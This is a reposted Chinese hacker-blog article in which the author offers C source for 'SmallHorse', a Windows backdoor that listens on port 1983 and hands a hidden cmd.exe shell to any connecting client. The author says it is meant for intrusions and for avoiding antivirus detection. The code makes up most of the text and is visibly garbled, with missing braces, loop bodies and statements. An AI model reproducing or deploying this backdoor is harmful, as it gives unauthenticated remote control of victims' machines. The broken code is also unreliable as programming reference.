一个简单的CMDSHELL后门

文章作者: 小马/SmallHorse [E.S.T VIP]（这个E.S.T VIP写不写是无所谓的）

信息来源: 邪恶八进制 中国 

  最近闲着无聊，自己琢磨着写了个简单的CMDSHELL后门。同时也避免了入侵时被杀毒软件K了。参考了T-CMD源代码和以前黑防的相关文章。从中学到了很多知识。

  程序很简单，运行后默认打开1983端口，也可以自己设定端口，等待客户端来连接。连接可以使用nc。本来还想设计成服务让其开机后自动运行，由于时间问题等以后完善了。

  用法：smallhorse [-p port] -p参数用于设置自己的端口

  下面是源程序，贴出来和大家共同学习进步，同时希望高手不吝指教，小马在此谢了先。

在vc++6.0 WIN2003下编译通过

＃i nclude<winsock2.h>

＃i nclude <stdio.h>

#pragma comment (lib, "Ws2_32.lib")

int port=1983;

DWORD WINAPI ClientThread(LPVOID lpParam);

void Help()

{printf("     /***************************************\\\n");

printf("     |This SmallHorse's First CMDSHELL V0.1 |\n");

printf("     |Thanks For Using It!             |\n");

printf("     |SmallHorse [E.S.T] VIP 2005.03     |\n");

printf("     |***************************************|\n");

printf("     |usage:smallhorse [-p port]         |\n");

printf("     |     port: Port Number To Listen On   |\n");

printf("     |     Default Port Is 1983         |\n");

printf("     \\***************************************/\n");

return;

}

void OpenDoor()

{

    // 初始化 Winsock.

  WSADATA wsaData;

    SOCKET m_socket,AcceptClient;

    sockaddr_in Service,Client;

    int ClientSize,i=0;

  int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );

  if ( iResult != NO_ERROR )

    return;

  // 创建一个 socket.

  m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

  if(m_socket==SOCKET_ERROR)

        return;

  Service.sin_family = AF_INET;

  Service.sin_addr.s_addr = htonl(INADDR_ANY);

  Service.sin_port = htons( port );

  if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)

      return;//邦定

  if (listen(m_socket,5)==SOCKET_ERROR)

        return;//最大监听列队5个

  printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);

    ClientSize=sizeof(Client);

    while(1)

    {

    AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);

    if(AcceptClient==SOCKET_ERROR)

        return;//接受连接

    printf( "Client Connected.\n");

    char *sendbuf = "/***************************************\\\n\tThanks For Using...\n\tSmallHorse's CmdShell!\n\tGood Luck!\n\\***************************************/\n\n";

  send( AcceptClient, sendbuf, strlen(sendbuf), 0 );

    if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)

        printf("Create Thread Error!\n");

    Sleep(1000);

    }

    WSACleanup();

DWORD WINAPI ClientThread(LPVOID lpParam)

{int ret;

char Buf[1024];

HANDLE Rpipe,Wpipe,Wfile,Rfile;

SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;

SECURITY_ATTRIBUTES sa;

sa.nLength=sizeof(sa);

sa.bInheritHandle=TRUE;

sa.lpSecurityDescriptor=NULL;

ret=CreatePipe(&Rpipe,&Rfile,&sa,0);

ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道，分别用于接收命令和显示结果

STARTUPINFO startinfo;

GetStartupInfo(&startinfo);

startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

startinfo.hStdInput=Wfile;

startinfo.hStdError=startinfo.hStdOutput=Rfile;

startinfo.wShowWindow=SW_HIDE; 

char cmdline[MAX_PATH];

GetSystemDirectory(cmdline,MAX_PATH);

    strcat(cmdline,("\\cmd.exe"));

PROCESS_INFORMATION proinfo;

ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);

unsigned long ByteRec;

while(1)

    Sleep(100);

    PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);

    if(ByteRec){

        ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);

        if(!ret)

              break;

        ret=send(AcceptClient,Buf,ByteRec,0);

        if(ret<=0)

    else{

        ByteRec=recv(AcceptClient,Buf,1024,0);

        if(ByteRec<=0)

        ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);

return 0;

int main(int argc, char *argv[])

{   

  Help();

    if(argc==3)

        if(!strcmp(argv[1],"-p"))

              port=atoi(argv[2]);

    OpenDoor();

本文转自loveme2351CTO博客，原文链接：http://blog.51cto.com/loveme23/7951 ，如需转载请自行联系原作者